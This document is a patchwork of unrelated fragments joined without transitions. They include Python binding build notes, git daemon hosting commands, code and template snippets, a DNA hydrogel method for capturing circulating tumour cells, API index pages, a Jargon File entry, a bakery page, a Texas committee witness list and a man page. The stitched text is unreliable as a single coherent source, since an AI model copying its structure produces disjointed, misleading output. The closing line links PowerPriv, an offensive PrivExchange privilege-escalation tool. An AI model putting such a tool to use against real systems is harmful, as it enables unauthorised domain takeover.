Note that a few stylistic conventions between Python and C++. In particular, we do not expose classes for quantities, but set options via optional keyword arguments when the quantity is added. The pybind11 C++ bindings take Eigen arrays as arguments, because pybind11 performs automatic translation between Eigen/numpy.
Python binding unit tests are stored in /test/polyscope_test.py
. As with C++, these are mainly just simple “smoke tests” which call the functions with dummy data and ensure no errors are thrown. All new bindings functions need a test! To build and test the bindings, first compile the bindings from the polyscope-py
root directory like
mkdir build
cd build
cmake ..
make -j8
python polyscope_test.py
. As you write code, these bindings must be recompiled to reflect any changes to the pybind11 C++. When testing, make sure there is not another copy of Polyscope for Python installed in your system, which might unintentionally be used instead of the development version! Also, the adjacent demo_app.py
can be used for simple testing.
Don’t forget, the Python bindings have a parallel set of docs in the /py
directory. Updates to Python should be reflected there.
When all your tests are passing, create a pull request! As with C++, submitting a pull request to the Python bindings will trigger a cloud build and some automated checks.
Actually deploying a new Python version to pip
and conda
package managers is a somewhat significant process, so we typically group together updates before cutting a new version. Ping @nmwsharp to get a new version deployed. Major and minor versions of the Python library are kept in-sync with the C++ library versions, whereas patch versions (1.2.4
–> 1.2.5
) are used for new updates to the Python bindings only.


Run a local Git server on port 9418 (DEFAULT_GIT_PORT
). The --base-path
option sets up a virtual new root for cloning. Otherwise, the cloning end would need to know the actual path on your disk from the root to the repository folder. That is generally undesirable and the more common expectation is that repos are at the top level.
git daemon --export-all --base-path=. .
or to enable pushing as well:
git daemon --enable=receive-pack \--export-all --base-path=. .
Then the client can clone this with:
git clone git://<somehostoripaddr>/myrepo
The --export-all
option is necessary to force sharing of all repositories found, even if the marker file git-daemon-export-ok
is not present in the specific repos you wish to share. If you do create the marker file, then the following will suffice:
git daemon --base-path=. .
The next lightest weight Git repository hosting solution.
authorized_keys
by a post-commit hook.A medium-weight Git repository management solution.
authorized_keys
when pushed.Sample output:
ssh gitolite@myserver
PTY allocation request failed on channel 0
hello mccm06, the gitolite version here is v1.5.5-68-g3cf2970
the gitolite config gives you the following access:
R W gitolite-admin
@R @W testing
@R W testinglessaccess
Connection to myserver closed.
A "heavier" Ruby web interface and Git repository hosting solution.
User interface only. No hosting capabilities.
To run a Git read-only http interface while sitting at a prompt inside a git repository:
git instaweb
Then open a browser to http://<IP_ADDRESS>:1234/.
On Linux, just apt-get
the lighttpd
package.
On Mac, use MacPorts or HomeBrew to install package lighttpd
On Windows, this is a bit more challenging to set up.
Atlassian Fisheye 2.2 has support for Git and Clearcase
Not supporting Git yet. Discussion does not seem to indicate plans to support Git.
Tool for code reviews. * Invented at Google. * Used for Android. * Side by side code view.
CGit is a simple web frontend for Git repos.


Sorry, there is nothing here. Try searching, or go home.
Enter search terms or a module, class or function name.


Placeholders¶
Every EncEntry can be given placeholders for the name, text, and image. This allows you to display a locked entry without revealing what the content of the entry is.
If no specific placeholders are provided, a default text placeholder is used for the name and text. The default placeholder image will be a dark tinted version of the normal image.
about_area_51 = EncEntry(
parent=your_new_encyclopaedia,
name="Area 51",
locked_name="Unknown"
text=[
"The base's current primary purpose is publicly unknown; however, based on historical evidence, "
"it most likely supports the development and testing of experimental aircraft and weapons systems (black projects). "
"The intense secrecy surrounding the base has made it the frequent subject of conspiracy theories and a central component to unidentified flying object (UFO) folklore. "
"Although the base has never been declared a secret base, all research and occurrences in Area 51 are Top Secret/Sensitive Compartmented Information (TS/SCI). "
"On 25 June 2013, following a Freedom of Information Act (FOIA) request filed in 2005, "
"the CIA publicly acknowledged the existence of the base for the first time, declassifying documents detailing the history and purpose of Area 51."
],
locked_text=["Classified"]
)


Azure Smart Light Simulator
Appliance Id:
{{ appliance.applianceId }}
Manufacturer Name:
{{ appliance.manufacturerName }}
Model Name:
{{ appliance.modelName }}
Version:
{{ appliance.version }}
Name:
{{ appliance.friendlyName }}
Description:
{{ appliance.friendlyDescription }}
Reachable:
{{ appliance.isReachable }}
Status:
{{ appliance.status }}
Remove
Manufacturer Name:
Model Name:
Version:
Name:
Required
Description:
Add


Longing to travel? Pack your bags, time to leave!
Our website here will help you plan your trip with a short and economic travel experience.
Our website here will help you plan your trip with a short and economic travel experience.
Our project, titled Smart Travel Planner(STP) is a user friendly interface that helps you plan your
trip to anywhere in the world! It will help you find the fastest travel path between all the places you
want to visit and it will give you an economic travel as well. We've always found it tedious to look
up places and collect information about the place we want to visit, and many a times feel lazy to do
so because there's a lot of searching involved. Even if we decide upon the place and the tourist spots
in that place, the trip is not often economical and travel consumes a lot of time and energy. This was our inspiration
to take up this project.
Here are some of the best tourist spots which no one can say no to!
Do check them out!
To access all the features of the website, you have to sign-up first! Upon logging onto the
website, you can search for a place to view information about it: like the tourist spots or the
best airbnb deals in that place. To plan your trip, you have to choose the places you want to visit.
Once chosen, leave it to us to optimise a plan just for you, at the lowest possible cost and the
fastest possible travel route!!
We used a graph data structure to create the perfect plan:)


In our project, we designed a triggering mechanism based on specific
combination of the circular template and specific targets on the cell
membrane in order to assemble DNA hydrogel by rolling circle amplification
(RCA, or R) and multi-primed chain amplification (MCA, or
M) around the cell.
Figure 1. The formation of DNA Hydrogel by RCA and MCA.
Hydrogel self-assembling
Aiming at generating hydrogel in a constant system from a single raw
material and with a high degree of crosslinking, we utilized and developed
the combination of rolling circle amplification (RCA) and multi-primed
chain amplification (MCA). They were carried out as follows:
Firstly, a circular template was prepared and added with primer
1(P1) corresponding to it. Phi29 DNA polymerase and dNTPs were used as raw
materials for RCA, so as to obtain a long ssDNA chain with periodic
circular template complementary sequence. Control the time of this stage
(RCA), and then add primer 2(P2) corresponding to the ssDNA long chain and
primer 3(P3) corresponding to the original circular template for a
different site into the system to carry out MCA. In this stage (MCA),
phi29DNA polymerase finished amplifying a cycle with all these three kinds
of primers.
Figure 2. The process of RCA and MCA, for a single cycle with 3
different primer.
Although the kinds of primer were different, periodically amplifying the
sequence accesses that the roles of template chain and complementary chain
were continuously exchanged in the amplification, so as to complete the
generation of a large amount of ssDNA in a limited volume. These ssDNA
strands, which are in a large amount, continued to fold and weave, forming
nests of DNA monomers that pile up to assemble the hydrogel we need.
This design allows the formation of hydrogel in an environment where the
process is always mild and the activity of the enzyme can be maintained
for a certain period of time. Moreover, the raw material is simple and we
can control the time of both RCA and MCA to manipulate the size and
crosslinking degree of the hydrogel.
The preparation of the circular template
In this method, the preparation of single stranded circular DNA template
is the focus of the whole system process. We used a general circular DNA
preparation method to synthesize linear single strand DNA from known
circular DNA template sequences, and designed both ends of the linear DNA
as complementary fragments of P3, which can be combined to form all
complementary sequences of P3. In the process of preparation, we added the
designed linear single strand DNA and P3 to the system at the same time,
theoretically forming a linear ssDNA that is complementary to P3 end to
end in the system. At this time, linear single strand DNA transfered into
the circular DNA with a nick and part of it is basepairing with P3. Next,
T4 DNA ligase is added to the system to fill up the nick, and Exo I/III
exonuclease is added to digest and prepare the circular template
successfully.
Figure 3. The preparation of the circular template.
The choose of the receptor and aptamer
It is worth mentioning that this method based on ssDNA coiling and folding
rather than constructing by whole base complementary, which enables us to
make the gelling system work better on the cell surface without gelling
off or misassembling. In that case, we need specific bind between this
system and our target cell so our next goal is to transfer the template
onto the cell surface. As for CTCs, we hope that capsulated cells can be
used for living cells detection and research. Therefore, instead of the
antigen and antibody molecular targets, we adopted the method of aptamer
binding.
EpCAM (epithelial cell adhesion molecule) was first found in colon cancer
as a single transmembrane protein, which is involved in the regulation of
cell adhesion, proliferation and differentiation. EpCAM abnormally
expressed in tumor cells and expressed 100 times higher than normal level
in primary breast cancer tissues, 810 times higher than normal level in
lymph node metastasis. EpCAM was selected as the target to combine the
circular template with the cell membrane through aptamer binding. We
screened an EpCAM adaptor named SYL3C from the paper database and verified
its binding activity.
Figure 4. The secondary structure of SYL3C.
The design of the triggering mechanism
Our project aims at capturing CTCs with DNA hydrogel and it is in need of
the spcical initiation mechanism. This case is districted with two
elements：Firstly, an aptamer which specifically recognizes receptors on
the membrane of circulating tumor cells and we choose the EpCAM which is
mentioned above as our molecular target . Secondly, special inhibitor
designed by model which enables hydrogel to be specifically triggered by
receptors on the cell membrane and assemble around CTCs. We mainly
designed two triggering processes for hydrogel self-assembling.
The first design is based on the conformational transformation with
hairpin structure. In terms of molecule level, our design includes three
parts: aptamer, linker and primer. At the 5' end of the aptamer, we
attached the FAM fluorescent radical group for labeling the aptamer
binding to the cell surface, and at the 3' end of the aptamer we
sequentially attached the linker and primer. The aptamer and primer are
partially complementary to each other and that makes the primer silent in
the absence of cells with EpCAM. When the cell binds to the aptamer, it
competitively opens the complementary pairing between the primer and the
aptamer, exposing the primer to participate in the formation of hydrogel.
In this case, we selected 9 base complementary pairs and 10 base
complementary pairs through modeling, and we named them as Aptamer 1 and
Aptamer 2 respectively.
Figure 5. The conformational transformation with hairpin structure.
Figure 6. The sequence and structure of Aptamer 1 and Aptamer 2.
The second design is the inhibitor shedding. Structurally, our design
consists of three parts. The first part is the aptamer-linker with a
linker which has 23nt. The second part is the inhibitor used to mask the
aptamer and linker. The third part is the stem-loop structure containing
the primer, named H1. Among them, the inhibitor can mask the aptamer and
linker in the absence of cells. When the aptamer binds to the cell, the
inhibitor will be competed off to expose linker. As for the H1, the 5 'end
of the stem-loop sequence is the complementary linker. In order to make
the linker in the first part open the stem-loop structure, we designed
that the Gibbs free energy of the complementary pairing between Linker and
stem-loop sequence is less than that of the stem-loop structure. The 3
'end of the stem-loop is the primer for rolling circular amplification.
Figure 7. The inhibitor shedding.
Figure 8. The sequence of aptamer-linker, inhibitor, and H1.


|
||||||||||
| PREV LETTER NEXT LETTER | FRAMES NO FRAMES |
GeometryReader
parses a Nastran file
containing geometry data, namely nodes, edges, triangles, and quadrilaterals.NastranBulkDataReader
from the given file.
MaterialReader
parses a Nastran file
containing symmetric matrices representing the mass matrix, stiffness matrix,
or other data.NastranDirectMatrixReader
from the given file.
ModeReader
parses a Nastran file containing
mode shape data.NastranPunchReader
from the given file.
KeyReader
parses a Nastran file containing
node subset data.NastranSetReader
from the given file.
Last Modes
Last Modes
Matrix
is designed to store a connection or mapping between
two objects of NodeMatrix
.NodeConnectionMatrix
with no connections.
NodeConnectionMatrix
containing the given number of
connections.
NodeConnectionMatrix
.
Matrix
is designed to store the values of a correlation between
all nodes of two objects of NodeMatrix
.NodeCorrelationMatrix
containing the given number of
First Nodes
as the rows and Last Nodes
as the columns.
NodeCorrelationMatrix
.
ItemListener
updates the log of the JMeshPanel
whenever
a set is selected.ItemListener
from the given JMeshPanel
and
MeshUI
.
ComboBoxModel
for the node subset groups
Action
opens a dialog for the user to select the node key group
input file and then imports it.Action
from the given JMeshPanel
and
MeshUI
.
Action
automatically imports the current node key group input
file.Action
from the given JMeshPanel
and
MeshUI
.
Matrix
is designed to store the nodal coordinates of a given
geometry.NodeMatrix
with no nodes.
NodeMatrix
containing the given number of nodes.
NodeMatrix
.
First Modes
First Modes
|
||||||||||
| PREV LETTER NEXT LETTER | FRAMES NO FRAMES |


TECO
`Prev `__
T
`Next `__
--------------
**TECO**: /tee´koh/, n.,v. obs.
1. [originally an acronym for ‘[paper] Tape Editor and COrrector’;
later, ‘Text Editor and COrrector’] n. A text editor developed at MIT
and modified by just about everybody. With all the dialects included,
TECO may have been the most prolific editor in use before
`*EMACS* <../E/EMACS.html>`__, to which it was directly ancestral. Noted
for its powerful programming-language-like features and its unspeakably
`*hairy* <../H/hairy.html>`__ syntax. It is literally the case that
every string of characters is a valid TECO program (though probably not
a useful one); one common game used to be mentally working out what the
TECO commands corresponding to human names did.
2. vt. Originally, to edit using the TECO editor in one of its infinite
variations (see below).
3. vt.,obs. To edit even when TECO is *not* the editor being used! This
usage is rare and now primarily historical.
As an example of TECO's obscurity, here is a TECO program that takes a
list of names such as:
|
| Loser, J. Random
| Quux, The Great
| Dick, Moby
sorts them alphabetically according to surname, and then puts the
surname last, removing the comma, to produce the following:
|
| Moby Dick
| J. Random Loser
| The Great Quux
The program is
|
| [1 J^P$L$$
| J <.-Z; .,(S,$ -D .)FX1 @F^B $K :L I $ G1 L>$$
(where ^B means ‘Control-B’ (ASCII 0000010) and $ is actually an
`*alt* <../A/alt.html>`__ or escape (ASCII 0011011) character).
In fact, this very program was used to produce the second, sorted list
from the first list. The first hack at it had a
`*bug* <../B/bug.html>`__: GLS (the author) had accidentally omitted the
**@** in front of **F^B**, which as anyone can see is clearly the
`*Wrong Thing* <../W/Wrong-Thing.html>`__. It worked fine the second
time. There is no space to describe all the features of TECO, but it may
be of interest that **^P** means ‘sort’ and **J<.-Z; ... L>** is an
idiomatic series of commands for ‘do once for every line’.
In mid-1991, TECO is pretty much one with the dust of history, having
been replaced in the affections of hackerdom by
`*EMACS* <../E/EMACS.html>`__. Descendants of an early (and somewhat
lobotomized) version adopted by DEC can still be found lurking on VMS
and a couple of crufty `*PDP-11* <../P/PDP-11.html>`__ operating
systems, however, and ports of the more advanced MIT versions remain the
focus of some antiquarian interest. See also
`*retrocomputing* <../R/retrocomputing.html>`__, `*write-only
language* <../W/write-only-language.html>`__.
--------------
+---------------------------+----------------------------+------------------------+
| `Prev `__ | `Up <../T.html>`__ | `Next `__ |
+---------------------------+----------------------------+------------------------+
| TCP/IP | `Home <../index.html>`__ | tee |
+---------------------------+----------------------------+------------------------+


[gecode-users] Extending Integer Variable
Filip Konvička
filip.konvicka at logis.cz
Wed Apr 9 10:47:00 CEST 2008
Hi Gustavo,
> There are some other implementations that may result useful. One is the
> interval library that comes with boost (already mentioned), also there is an
> implementation by T. Hickey called smath (
> http://interval.sourceforge.net/interval/prolog/clip/clip/smath/README.html)
> and a complete solver for continous domains called elisa (
> http://sourceforge.net/projects/elisa/).
>
> Smath provides a wide set of narrowing operator implementations and claims
> to be correct, i have used it before and its quite good. Elisa comes with
> different representations for constraints on continous domains (natural
> interval form, newton interval form, etc.) and that makes it promising.
> Boost.interval is the one that best deal with portability which is a matter
> when dealing with floating point numbers.
Again, these are interesting (I know you use smath in XRI), but my
greatest concerns are portability and licensing. That said, an ideal
templatized implementation of FloatVars should allow the user to choose
their favorite arithmetics implementation, because these concerns are
not universal.
Cheers,
Filip
More information about the gecode-users
mailing list


Front End Web Developer, Victoria's Secret
Full-stack Developer as a Freelancer and for the Web and Server on cannon.fm
Member of Central Ohio Python Users Group
I ♡ Django
What do I know about tools?
1999
I get bored doing mundane and repetitive tasks
I'm pretty lazy
I'm prone to mistakes
So I try to AUTOMATE EVERYTHING!
A brief look at how I classify tools
Take a small input and produce a large output
| Brunch | |
| Yeoman |
Abstract a more complex problem through a lightweight interface
| jQuery | |
| Grunt |
Create a lower-level language from a higher-level syntax
| Sass | |
| Less | |
| Haml | |
| CoffeeScript |
Ensure validity, consistency and quality
| JSLint | |
| CSSLint | |
| W3C Validator |
Provide a convention and set approach to a problem
| Bootstrap | |
| 1140 | |
| Backbone | |
| Spine |
I suppose it is tempting, if the only tool you have is a hammer, to treat everything as if it were a nail.
- Abraham Maslow, American Psychologist
Over-reliance on a familiar tool
Each tool will have its own learning curve
Read the Docs
At least one time, you will choose unwisely
Don't get discouraged - Try Again!
The best tool may not be in:
Ruby, Python, Node, sh, Java, Haskell, or whatever else.
You might will spend some time on Stack Overflow.
Use your brain.
fabric
virtualenv
Compass/Sass
Haml
Puppet
CoffeeScript
Brunch
Yeoman
If things go awry, it is good to know how it works
And so you can have mad respect for what the tool is buying you.
Ponder the SUCK!
Investigate Open-Source Solutions
...otherwise BUILD IT!


open fun toToken(context: SerializeAsTokenContext): SingletonSerializationToken
Creates the singleton's token and returns it.
Prefer providing an override of tokenName to alter the SingletonSerializationToken output from this method. The context should not be used here, as registration of the SingletonSerializationToken is done by Corda.
context
- The SerializeAsTokenContext involved in registering the token.
Return
A SingletonSerializationToken representing the singleton's token.
See Also


| Interface | Description |
|---|---|
| BoardInterface |
This interface is used to define how an instance of a Board can be communicated with.
|
| GameManagerInterface |
GameManagerInterface provides an abstract interface to a GameManager Class that should be implemented.
|
| MoveInterface |
Represents a move a player wishes to make
DO NOT CHANGE THIS FILE
|
| PlayerInterface |
This interface represents a player within the game of Hex and the methods that a player should make
DO NOT CHANGE THIS FILE
|
| Class | Description |
|---|---|
| Board |
An implementation of a hex board, storing the positions as a 2-dimensional array of Piece values Included win-checking algorithm is implemented as depth-first search designed to
be fast in the most common circumstances at the expense of being slower in unusual circumstances.
|
| ComputerPlayer_xvhn44 |
An AI player implementation of the PlayerInterface interface which implements four AI types: Mirror If player colour is blue, and the board size satisfies y = x + 1, Mirror the
opponent as seen here: http://mathworld.wolfram.com/GameofHex.html Middle If it is the first move, go for the middle hex Djikstra Look at every possible move up to two layers
deep, evaluating the value of the board using djikstra's algorithm.
|
| Coordinate |
An immutable class storing x and y integers to allow for easier passing of pair values.
|
| DjikstraRunnable |
A runnable which calculates the best moves that can be made and stores them, ready to provide back to the ComputerPlayer that created the object.
|
| Edge |
An Edge connects two Nodes.
|
| GameManager |
GameManager defines how the game is set up and calls the methods needed for the game to be played.
|
| Graph |
A graph stores nodes such that the distance from a start to end node can be calculated.
|
| GUIBoard |
GameManager defines how the game is set up and calls the methods needed for the game to be played.
|
| GUIFrame | |
| GUIPanel |
Created by Steven on 23/04/2016.
|
| Hex |
Created by Steven on 23/04/2016.
|
| HumanPlayer |
A human player that takes user input and makes the move.
|
| Main |
Created by Steven on 15/03/2016.
|
| MainMenu |
Create the main menu, and initialise games based on its settings
|
| MCTSRunnable |
The MCTSRunnable is an object which runs the MCTS code in a thread to allow for multithreading of the AI.
|
| Move |
Represents a move a player wishes to make
|
| Node |
Created by Steven on 13/04/2016.
|
| PotentialMove |
Stores a potential move for the Djikstra AI - storing first, and second moves, and the distances for each player after both moves have been made.
|
| QualityPanel |
Just sets antialiasing to be used on the panel and keeps everything else to be the same - so it doesn't have to be set each and every time.
|
| Utility |
Stores static utilities.
|
| Enum | Description |
|---|---|
| AIType |
The AI algorithm that should be used
|
| EdgeType |
The type of an edge
|
| GameState |
Enumeration class GameState - Defining for the end of the game what the final state is - WON, LOST, INCOMPLETE
DO NOT CHANGE THIS FILE
|
| NodeType |
PLAYER nodes belong to the player (i.e.
|
| Piece |
Enumeration class Piece - defines the three different states of a Piece or position on the board
these can be:
RED - a red piece
BLUE - a blue piece
UNSET - no piece specified yet
DO NOT CHANGE THIS FILE
|
| Exception | Description |
|---|---|
| BoardAlreadySizedException |
Exception to indicate that someone is trying to resize a board which is aready sized.
|
| ColourAlreadySetException |
Exception to indicate that a color has already been allocated to a player
DO NOT CHANGE THIS FILE
|
| InvalidBoardSizeException |
Exception to indicate that the board size selection is invalid
DO NOT CHANGE THIS FILE
|
| InvalidColourException |
Exception to indicate that the selected colour is invalid in this context.
|
| InvalidPositionException |
Exception to indicate that the position specified is invalid - e.g.
|
| NoBoardDefinedException |
Exception to indicate that someone is trying to resize a board which is aready sized.
|
| NodeWeightNotSetException |
Created by Steven on 18/04/2016.
|
| NoValidMovesException |
Exception to indicate that it is not possible to make a move.
|
| PositionAlreadyTakenException |
Exception to indicate that a cell where someone is trying to place a piece is already occupied
DO NOT CHANGE THIS FILE
|


"To catch them is my real test, to bake them is my cause"
Our mission is to be the best bakery in Seattle. one day we want to expand out product nation wide and provide the best service to all of our customers no matter the location. We want out products everywhere around the world from Seattle, paris and the moon and back. We hope to see you in our stores soon so you can enjoy the Seattle Famous Salmon Cookies!!!.
Here are some good words from our customers!
- I just wanted to thank you for my amazing 30th birthday custom cookies! As you know, I’ve been ordering from you for years, but have never had custom cookies for myself! I was so pleasantly surprised when Chris brought my custom cookie favors to my birthday trip/party. They are so ME 🙂 You did an absolutely fantastic job with them. Thank you so very much. I am a lifetime customer!
- I really appreciate the time taken with me to have the perfect Seahawk themed cake. They made sure I was happy before I left and even offered to deck the cake out in blue and green for this 12th man!!! Thank you so much. My 44 birthday will be the best yet!!
A few photos from some of our stores
Our Seattle 1st and Pike Storefront. Here is our original store.
The Sattle Famous Salmon Cookies. Secret Recipe so you will never know what is completly in them but we will give you a small hint. There is a actual ground salmon in the cookies!!! the best part is you can not even taste it!!! Fluffy and great tasting. Come in and try one for yourself, they come in many different colors just pre order ahead of time if you would like some for a special occation.
Some of the best muffins I have ever had is right here in this store. I have traveled all around the world and litterly these are the best i have ever tasted. Fluffy, flavors pop, and when they are fresh out fo the oven they just melt in your mouth. Come try a bite to see for yourself.
Wide range of delisious deserts. We can put any topping, have any type or any type of frosting that you like. We do birthdays, holidays, weddings and any other special occasion. Just come in and tell us what you would like and we can do it. We love celebrating with you on your special days.
Fluffy and delisious, all types of breads and any kind that you would like. Shh we even make donuts. See you at 4 am!!


WITNESS LIST Natural Resources Committee April 13, 1999-2:00P HB 952 Registering, but not testifying: On: Jones, Sam (TNRCC - Manager, District Administration Section), Austin HB 1283 FOR: Fisher, Jon (Texas Chemical Council-Sr VP-Research), Austin AGAINST: Hess, Myron (National Wildlife Federation-Policy Specialist/Counsel), Austin ON: Hoffman, Margaret (TNRCC - Director - Environmental Law Division), Austin Pharr, Machelle (TNRCC - Chief Financial Officer), Austin Registering, but not testifying: For: Glacken, Shawn (Association of Electric Companies of Texas-member company), Dallas Miksa, Mary (Texas Association of Business & Chambers of Commerce), Austin Against: Alvarez, Raul (Sierra Club - Lone Star Chapter-Environmental Justice Director), Austin James, Reggie (Consumers Union SW Regional Office-Director), Austin HB 1303 Registering, but not testifying: On: Collins, Rick (Texas Dept. of Transportation - Engineer of Traffic), Austin Jones, Sam (TNRCC - Manager, District Administration Section), Austin HB 1304 Registering, but not testifying: On: Collins, Rick (Texas Dept. of Transportation-Engineer of Traffic), Austin Jones, Sam (TNRCC - Manager- District Administration Section), Austin HB 1848 Registering, but not testifying: On: Jones, Sam (TNRCC - Manager, District Administration Section), Austin HCR 59 THIS LIST HAS NO WITNESSES. SB 708 Registering, but not testifying: On: Hofmann, John Banks (TNRCC - Commissioners Office - Executive Assistant), Austin SB 792 THIS LIST HAS NO WITNESSES. SB 1010 THIS LIST HAS NO WITNESSES. SB 1028 THIS LIST HAS NO WITNESSES. SB 1168 FOR: Brown, Jim (Upper Guadalupe River Authority-General Manager), Kerrville McCarthy, Ed (Upper Guadalupe River Authority-Attorney), Austin Registering, but not testifying: For: Ahrens, Jerry (Upper Guadalupe River Authority-Director (Vice-President)), Kerrville MacDonald, Granger (Upper Guadalupe River Authority-Director (President)), Kerrville On: Jones, Sam (TNRCC - Manager, District Administration Section), Austin SB 1171 Registering, but not testifying: For: Ahrens, Jerry (Upper Guadalupe River Authority-Director (Vice-President)), Kerrville Brown, Jim (Upper Guadalupe River Authority-General Manager), Kerrville McCarthy, Ed (Upper Guadalupe River Authority-Attorney), Austin McDonald, Granger (Upper Guadalupe River Authority-Director (President)), Kerrville On: Jones, Sam (TNRCC - Manager, District Administration Section), Austin SB 1183 THIS LIST HAS NO WITNESSES. SB 1265 THIS LIST HAS NO WITNESSES. SB 1304 FOR: Boerner, Ben (Texas Grain & Feed Association-President), Fort Worth Langford, David (Texas Wildlife Association-Executive Vice President), San Antonio Registering, but not testifying: On: Butler, Jim G (TX A&M System, Agriculture Program -Assoc. Vice Chancellor), College Station Cooke Ph.D., Jerry (Texas Parks & Wildlife-Program Director-Upland Wildlife Ecol.), Austin SB 1312 THIS LIST HAS NO WITNESSES. SB 1316 THIS LIST HAS NO WITNESSES. SB 1433 Registering, but not testifying: On: Pharr, G. Machelle (TNRCC-Chief Financial Officer), Austin SB 1481 THIS LIST HAS NO WITNESSES. SB 1560 Registering, but not testifying: On: Soward, Larry (General Land Office-Deputy Land Commissioner/Chief Clerk), Austin SB 1593 FOR: Bogard, Allen (Lower Brazos River Water Alliance-Co-Chair), Sugarland Gwyn, Gary (Brazos River Authority-General Manager), Waco Settle, Charles (City of Houston-Dept. of Public Works-Assistant Director), Houston AGAINST: Hess, Myron (National Wildlife Federation-Policy Specialist /Counsel), Austin ON: Brittin, Carolyn (Texas Water Development Board-Director of Special Projects), Austin Hoffman, Margaret (TNRCC - Director/Environmental Law Division), Austin Pedersen, Craig (Texas Water Development Board-Exec. Administrator), Austin Registering, but not testifying: For: Feith, Edward (Reliant Energy, Inc - Environmental Manager), Houston Field, Michael (Brazos River Authority-Assistant General Manager-Ex. Counsel), Hewitt Ray, J Tom (Brazos River Authority-Asst. General Manager/Planning & Env.), Waco Against: Alvarez, Raul (Sierra Club-Lone Star Chapter-Environmental Justice Director), Austin SB 1659 Registering, but not testifying: For: Saathoff, Phyllis (Brazos River Harbor Navigation District-Managing Director), Freeport On: Jones, Sam (TNRCC - Manager, District Administration Section), Austin SB 1685 Registering, but not testifying: On: Wiles, Kirk (Texas Dept. of Health - Division Director/Seafood Safety), Austin SB 1690 THIS LIST HAS NO WITNESSES.


4 types derived from CimBaseAction
Microsoft.Management.Infrastructure.CimCmdlets (4)
CimBaseAction.cs (1)
56
internal class CimSyncAction :
CimBaseAction
, IDisposable
CimWriteMessage.cs (1)
18
internal sealed class CimWriteMessage :
CimBaseAction
CimWriteProgress.cs (1)
18
internal sealed class CimWriteProgress :
CimBaseAction
CimWriteResultObject.cs (1)
15
internal sealed class CimWriteResultObject :
CimBaseAction
10 references to CimBaseAction
Microsoft.Management.Infrastructure.CimCmdlets (10)
CimAsyncOperation.cs (5)
34
this.actionQueue = new ConcurrentQueue<
CimBaseAction
>();
134
CimBaseAction
action;
194
protected bool GetActionAndRemove(out
CimBaseAction
action)
504
CimBaseAction
action;
566
private readonly ConcurrentQueue<
CimBaseAction
> actionQueue;
CimBaseAction.cs (1)
20
/// Initializes a new instance of the <see cref="
CimBaseAction
"/> class.
CimSessionProxy.cs (3)
141
public CmdletActionEventArgs(
CimBaseAction
action)
146
public readonly
CimBaseAction
Action;
748
protected void FireNewActionEvent(
CimBaseAction
action)
CmdletOperation.cs (1)
32
/// While Execute method of <seealso cref="
CimBaseAction
"/> accept the


open fun onSessionWillReconnect(session: Session, reason: ReconnectReason): Boolean
Called when the session has become unexpectedly disconnected. If the SessionListener returns true, the session will attempt to reconnect to the Zello Channels server.
session
- the session that has disconnected
reason
- the reason the session was disconnected
Return
true to allow the session to attempt to reconnect to the Zello Channels server, and
false to stay disconnected


SPROF(1) Debian GNU/Linux SPROF(1) NAME sprof - Read and display shared object profiling data SYNOPSIS sprof -p⎪-c [-q] DESCRIPTION --call-pairs, -c print list of count paths and their number of use --flat-profile, -p generate flat profile with counts and ticks --graph, -q generate call graph AUTHOR sprof was written by Ulrich Drepper for the GNU C Library This man page was written by Joel Klecker<EMAIL_ADDRESS>for the Debian GNU/Linux system. 3rd Berkeley Distribution etch SPROF(1)


We have styled all Bootstrap elements just as you want!
Use the button classes on an
, <button>
, or <input>
element.
Use any of the available button classes to quickly create a styled button.
Fancy larger or smaller buttons? Add .btn-lg
, .btn-sm
, or .btn-xs
for additional sizes.
Create block level buttons—those that span the full width of a parent— by adding .btn-block
.
Buttons will appear pressed (with a darker background, darker border, and inset shadow) when active. For <button>
elements, this is done via :active. For
elements, it's done with .active
. However, you may use .active
on <button>
s (and include the aria-pressed="true" attribute) should you need to replicate the active state programmatically.
Make buttons look un-clickable by fading them back with opacity. Add the disabled attribute to <button>
buttons.


Parallel Compositions and Abortion¶
The use of trails in parallel allows programs to wait for multiple events at the same time. Céu supports three kinds of parallel compositions that differ in how they rejoin and proceed to the statement in sequence:
- a
par/and
rejoins after all trails in parallel terminate; - a
par/or
rejoins after any trail in parallel terminates, aborting all other trails automatically; - a
par
never rejoins, even if all trails terminate.
As mentioned in the introduction and emphasized in the execution model, trails in parallel do not execute with real parallelism. Therefore, it is important to note that parallel compositions support awaiting in parallel, rather than executing in parallel (see Asynchronous Threads for real parallelism support).


|
{{z.name}}
{{z.area_total}} {{z.area.unit}}
|
{{z.growingMethod}}
Total: {{z.boards}}, Holes per Channel: {{z.holes}}
Total: {{z.boards}}, Holes per Board: {{z.holes}}
Not Growing
|
Reservoir:
{{z.reservoir.name}}
|
Active Deactivated |


Great presentation about YUI Test. I especially like browser event simulations. Might be used instead of Selenium.
Enjoy this.
--- layout: post title: Test-Driven Development with YUI Test date: 2008-12-11 11:28:00.000000000 +11:00 comments: true categories: - development ---
Great presentation about YUI Test. I especially like browser event simulations. Might be used instead of Selenium.
Enjoy this.


Please wait...
Currency Converter
Currency Converter
Currency Converter : @Author Nsikak Edet
Source Code can be found here:
https://github.com/nsikak-edet/currency-converter
Converting NGN → USD
$---
$- = NGN---
Error! you must supply all needed fields.
-- From (Select Currency) --
-- To (Select Currency) --
CONVERT


 We've heard from many young people who don't feel ready for some or all of the things that come with living independently. Hopefully this website will answer as many questions as possible. If you can't find what you need in here, let us know and we will try to help you then add it to the website for other young people like you.
This website was made for you to gain as much information as you can before leaving care (or searching for help). It will answer most of your questions and provide suitable links for your need. It also contains a calculator that will help you to determine your expenses. Additionally the calcualtor will be specified to your needs so you don't have to worry about details.


BrightstarDB Ecosystem
There are a number of products and applications that support or use BrightstarDB. This page describes all this cool stuff. If you have some product, application or service you would like to see added here, please contact us.
Community
We have created a forum for BrightstarDB User Group on Google Groups. This is the place to post questions, get help and provide us with feedback on Brightstar. You can also follow our blog or follow us on Twitter to keep up to date with the latest releases; events and news from the BrightstarDB team.
Applications
DataBrowser: The Data Browser is a Windows 8 application that provides a great way to navigate and explore data (ODATA, RDF, ATOM, RDFa) published on the web. The application is currently under active development. The source is maintained in github at https://github.com/BrightstarDB/DataBrowser, and we plan to make regular source code dumps and binary builds available through the Codeplex pages.
Web Content Management
Webnodes Semantic Integration Server: Webnodes CMS is an enterprise quality ASP.NET CMS with a unique semantic content technology. The Semantic Server module uses BrightstarDB to provide a SPARQL query endpoint over the data managed in the CMS. The module also offers full SDShare data integration functionality.


The original article has been made more accessible through two additional tools:
[PowerPriv](https://github.com/G0ldenGunSec/PowerPriv) | Powershell implementatino of PrivExchange. Walkthrough article
